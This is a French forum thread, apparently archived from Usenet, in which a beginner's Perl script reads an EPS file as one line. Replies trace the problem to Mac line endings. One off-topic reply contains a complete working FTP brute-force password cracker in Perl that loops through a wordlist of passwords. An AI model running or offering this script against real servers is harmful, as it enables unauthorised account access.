OVH Cloud OVH Cloud

les essais du samedi.

17 réponses
Avatar
kurtz le pirate
bonjour,

j'ai besoin d'aide. vraiment débutant, j'ai décider le construire une
petit projet perl mais je bute déja sur un truc.

voila le code :

----
#!/usr/local/bin/perl -w

$eps_file="forme.eps";
open(EPSFILE,"<$eps_file") || die("Impossible d'ouvrir le fichier\n");
foreach $line (<EPSFILE>) {
print "->$line";
}
close(EPSFILE);
----

le problème c'est que je n'ai qu'une seule ligne ! lorsque j'ouvre mon
fichier "forme.eps" dans un éditeur de texte j'en ai 1433.

je m'y prends sûrement mal. le but définitif c'est de ne garder que
certaines lignes de ce fichier... mais comme je suis déja bloqué !!!

vous pouvez m'aider ?
merci.

10 réponses

1 2
Avatar
Jean-Pierre Vidal
Le Sat, 05 Mar 2005 16:25:29 +0100, kurtz le pirate a écrit :

bonjour,

j'ai besoin d'aide. vraiment débutant, j'ai décider le construire une
petit projet perl mais je bute déja sur un truc.

voila le code :

----
#!/usr/local/bin/perl -w

$eps_file="forme.eps";
open(EPSFILE,"<$eps_file") || die("Impossible d'ouvrir le fichiern");
foreach $line (<EPSFILE>) {
print "->$line";
}
close(EPSFILE);
----

le problème c'est que je n'ai qu'une seule ligne ! lorsque j'ouvre mon
fichier "forme.eps" dans un éditeur de texte j'en ai 1433.

je m'y prends sûrement mal. le but définitif c'est de ne garder que
certaines lignes de ce fichier... mais comme je suis déja bloqué !!!

vous pouvez m'aider ?
merci.


D'après son extension (eps) le fichier forme.eps doit être un fichier
postscript (encapsulated postscript), et non un fichier texte.
Es-tu certain de le visualiser dans un "éditeur de texte" ou avec un
visualisateur de fichier postscript ?

A titre d'exemple, si ton programme s'appelle, par exemple, "truc.pl",
fais en sorte qu'il s'affiche lui-même ( open(EPSFILE,"<$eps_file") ), tu
verras qu'il fonctionne très bien.

Autre remarque, utilise le pragma
use strict;
bien sûr il faudra déclarer tes variables
my $eps_file="forme.eps";
foreach my $ligne...
mais crois-moi ça vaut le coup.
Jean-Pierre

Avatar
Jean-Pierre Vidal
Le Sat, 05 Mar 2005 15:48:50 +0000, Jean-Pierre Vidal a écrit :

Le Sat, 05 Mar 2005 16:25:29 +0100, kurtz le pirate a écrit :

bonjour,

j'ai besoin d'aide. vraiment débutant, j'ai décider le construire une
petit projet perl mais je bute déja sur un truc.

voila le code :

----
#!/usr/local/bin/perl -w

$eps_file="forme.eps";
open(EPSFILE,"<$eps_file") || die("Impossible d'ouvrir le fichiern");
foreach $line (<EPSFILE>) {
print "->$line";
}
close(EPSFILE);
----

le problème c'est que je n'ai qu'une seule ligne ! lorsque j'ouvre mon
fichier "forme.eps" dans un éditeur de texte j'en ai 1433.

je m'y prends sûrement mal. le but définitif c'est de ne garder que
certaines lignes de ce fichier... mais comme je suis déja bloqué !!!

vous pouvez m'aider ?
merci.


D'après son extension (eps) le fichier forme.eps doit être un fichier
postscript (encapsulated postscript), et non un fichier texte.
Es-tu certain de le visualiser dans un "éditeur de texte" ou avec un
visualisateur de fichier postscript ?

A titre d'exemple, si ton programme s'appelle, par exemple, "truc.pl",
fais en sorte qu'il s'affiche lui-même ( open(EPSFILE,"<$eps_file") ), tu


désolé :
fais en sorte qu'il s'affiche lui-même ( $eps_file = "truc.pl" ) )

verras qu'il fonctionne très bien.

Autre remarque, utilise le pragma
use strict;
bien sûr il faudra déclarer tes variables
my $eps_file="forme.eps";
foreach my $ligne...
mais crois-moi ça vaut le coup.
Jean-Pierre



Avatar
kurtz le pirate
In article ,
Jean-Pierre Vidal wrote:

Le Sat, 05 Mar 2005 16:25:29 +0100, kurtz le pirate a écrit :

bonjour,

j'ai besoin d'aide. vraiment débutant, j'ai décider le construire une
petit projet perl mais je bute déja sur un truc.

voila le code :

----
#!/usr/local/bin/perl -w

$eps_file="forme.eps";
open(EPSFILE,"<$eps_file") || die("Impossible d'ouvrir le fichiern");
foreach $line (<EPSFILE>) {
print "->$line";
}
close(EPSFILE);
----

le problème c'est que je n'ai qu'une seule ligne ! lorsque j'ouvre mon
fichier "forme.eps" dans un éditeur de texte j'en ai 1433.

je m'y prends sûrement mal. le but définitif c'est de ne garder que
certaines lignes de ce fichier... mais comme je suis déja bloqué !!!

vous pouvez m'aider ?
merci.


D'après son extension (eps) le fichier forme.eps doit être un fichier
postscript (encapsulated postscript), et non un fichier texte.
Es-tu certain de le visualiser dans un "éditeur de texte" ou avec un
visualisateur de fichier postscript ?



oui bien sûr c'est un fichier postscript mais c'est un fichier texte
tout comme un .pl ou .c


A titre d'exemple, si ton programme s'appelle, par exemple, "truc.pl",
fais en sorte qu'il s'affiche lui-même ( open(EPSFILE,"<$eps_file") ), tu
verras qu'il fonctionne très bien.



ben non ! ça fait la même chose : une seule ligne


Autre remarque, utilise le pragma
use strict;
bien sûr il faudra déclarer tes variables
my $eps_file="forme.eps";
foreach my $ligne...
mais crois-moi ça vaut le coup.



tout à fait d'accord avec toi pour l'utilisation du mode strict.
mais la, juste pour les 4 lignes qui marchent pas... je deviens gaga.


Jean-Pierre
merci





Avatar
Eric Jacoboni
kurtz le pirate writes:

le problème c'est que je n'ai qu'une seule ligne ! lorsque j'ouvre
mon fichier "forme.eps" dans un éditeur de texte j'en ai 1433.


Et que donne le script suivant sur ton fichier ?

$ cat bla.pl
#! /usr/bin/perl -w

while (<>) {
print "-> $_";
}

$ ./bla.pl bla.pl
-> #! /usr/bin/perl -w
->
-> while (<>) {
-> print "->$_";
-> }
--

Éric Jacoboni, né il y a 1413478796 secondes

Avatar
Penguin_X
bonjour,

j'ai besoin d'aide. vraiment débutant, j'ai décider le construire une
petit projet perl mais je bute déja sur un truc.

voila le code :

----
#!/usr/local/bin/perl -w

$eps_file="forme.eps";
open(EPSFILE,"<$eps_file") || die("Impossible d'ouvrir le fichiern");
foreach $line (<EPSFILE>) {
print "->$line";
}
close(EPSFILE);
----

le problème c'est que je n'ai qu'une seule ligne ! lorsque j'ouvre mon
fichier "forme.eps" dans un éditeur de texte j'en ai 1433.

je m'y prends sûrement mal. le but définitif c'est de ne garder que
certaines lignes de ce fichier... mais comme je suis déja bloqué !!!

vous pouvez m'aider ?
merci.
Salut. Je pense que le problème vient qu'il faudrais un tableau pour

mettre tes caractères. Mais comme je suis débutant aussi, je ne pourrais
probablement pas plus t'aider. Voici un code que j'avais fais en perl
pour cracker un pass FTP. Peut-être que cela t'aidera...

@+

CODE:

#!/usr/bin/perl

use strict;
use Net::FTP;

# variables globales
my $HOST; # l'host a utiliser
my $USER; # le nom d'utilisateur
my @PASSWORDS; # les mots de pass dans la liste
my $ftp; # connection a FTP
my $PASS; # le mot de pass
my $LIST; # la liste de mot de passe

print "n--FTP BRUTE-FORCER, Penguin_X--n";
print "nAdresse: ";
$HOST=<STDIN>;
print "nUser: ";
$USER=<STDIN>;
print "nNom de la liste de pass: ";
$LIST=<STDIN>;

print "n--Brute Forcing en cour--n";

open (PASSFILE, $LIST) or die "nError while loading passwords";
@PASSWORDS = <PASSFILE>;
close PASSFILE;

foreach $PASS (@PASSWORDS)
{
undef($ftp);
while(! $ftp)
{
$ftp = Net::FTP->new($HOST) or warn "nNe peut se connecter a: $HOST n";
chomp $USER;
chomp $PASS;
print "nPASSWORD EN TEST : $PASS n";
if(!$ftp -> login($USER,$PASS))
{
print "nMAUVAIS MOT DE PASSEn";
$ftp->quit;
}
else
{
print "nPASSWORD IS: $PASSan";
$ftp->quit;
die "nFINISH!n";
}
}
}

Avatar
Denis -esp2008-
Bonjour,

oui bien sûr c'est un fichier postscript mais c'est un fichier texte
tout comme un .pl ou .c


Si c'est un fichier postscript ce n'est pas un fochier texte au sens
où on l'entend habituellement. Que donne l'exécution de "wc -l forme.eps" ?

--
Denis

Avatar
kurtz le pirate
In article
,
Denis -esp2008- wrote:

Bonjour,

oui bien sûr c'est un fichier postscript mais c'est un fichier texte
tout comme un .pl ou .c


Si c'est un fichier postscript ce n'est pas un fochier texte au sens
où on l'entend habituellement. Que donne l'exécution de "wc -l forme.eps" ?



ca donne : 0 forme.eps ... mais j'ai trouvé !!! perl n'étant pas
"portable" et comme je suis ou osX, c'est la galère des <fin de ligne>.

donc :
- un fichier eps EST un bête fichier texte.
- j'ai convertis ce fichier au format unix avec la ligne suivante :
perl -p -e 's/r/n/g' <forme.eps > formeU.eps
et ça marche !!! wc -l formeU.eps donne 1432.
- j'en suis donc la pour l'instant :

-----
#!/usr/local/bin/perl

$eps_file="formeU.eps";

# --- openning the file
print "nOuverture de $eps_filen";

open(EPSFILE,"<$eps_file") || die("Impossible d'ouvrir le fichiern");

$save=0;
# --- affiche les lignes apres le motif <n-return> qui commencent
# --- par un chiffre et qui finissent pas <m> ou <L> ou <C>
foreach $line (<EPSFILE>) {
if(($save eq 0) && ($line eq "nn")) {
$save=1;
}
if(($save ge 1) && ($line =~ /^d/) && ($line =~ /[m|L|C]Z/)) {
print "$save : $line";
$save++;
}
}

# --- close the file
close(EPSFILE);
print "nFermeture de $eps_filen";
--------
(oui j'ai pas encore utilisé le strict :))

il faut maintenant que l'inclue la transformation max->unix dans ce
script dans un fichier temp, je travaille le fichier temp puis je
l'efface. bien du boulot encore... le camel book est rouge !

merci pour vos aides. j'aurais surement d'autres questions
klp



Avatar
Benoit Izac
Bonjour,

le 05/03/2005 à 17:03, Eric Jacoboni a écrit
dans le message :

Et que donne le script suivant sur ton fichier ?

$ cat bla.pl
#! /usr/bin/perl -w

while (<>) {
print "-> $_";
^

}

$ ./bla.pl bla.pl
-> #! /usr/bin/perl -w
->
-> while (<>) {
-> print "->$_";
^

-> }


Il y a un bug !
;-)
--
Benoit Izac

Avatar
Nicolas George
Denis -esp2008- wrote in message
:
Si c'est un fichier postscript ce n'est pas un fochier texte au sens
où on l'entend habituellement.


Si. Le PostScript est du texte. Pour être plus précis, c'est un langage de
programmation (de style RPN), qu'il est tout à fait possible d'écrire « à la
main » avec un éditeur de texte. Il arrive que des données binaires
quelconques soient embarquées dedans (pour des images et des polices), mais
bien souvent, même pour ça, on utilise un encodage sous forme de texte (soit
en hexadécimal avec deux caractères pour un octet, soit en base85 avec cinq
caractères pour quatre octets).

Avatar
Jean-Pierre Vidal
Le Sat, 05 Mar 2005 18:09:17 +0100, kurtz le pirate a écrit :
[...]
merci pour vos aides. j'aurais surement d'autres questions
klp


Je suis frustré : ton message est arrivé au moment ou je soupçonnais
les plate-forme dos/unix/mac.

pour me venger, médite les résultats des programmes suivant :

$ perl -e '$a="01"; $b="1"; print $a == $b ? "egal" : "different"'
$ perl -e '$a="01"; $b="1"; print $a eq $b ? "egal" : "different"'

Attention au contexte
Jean-Pierre

1 2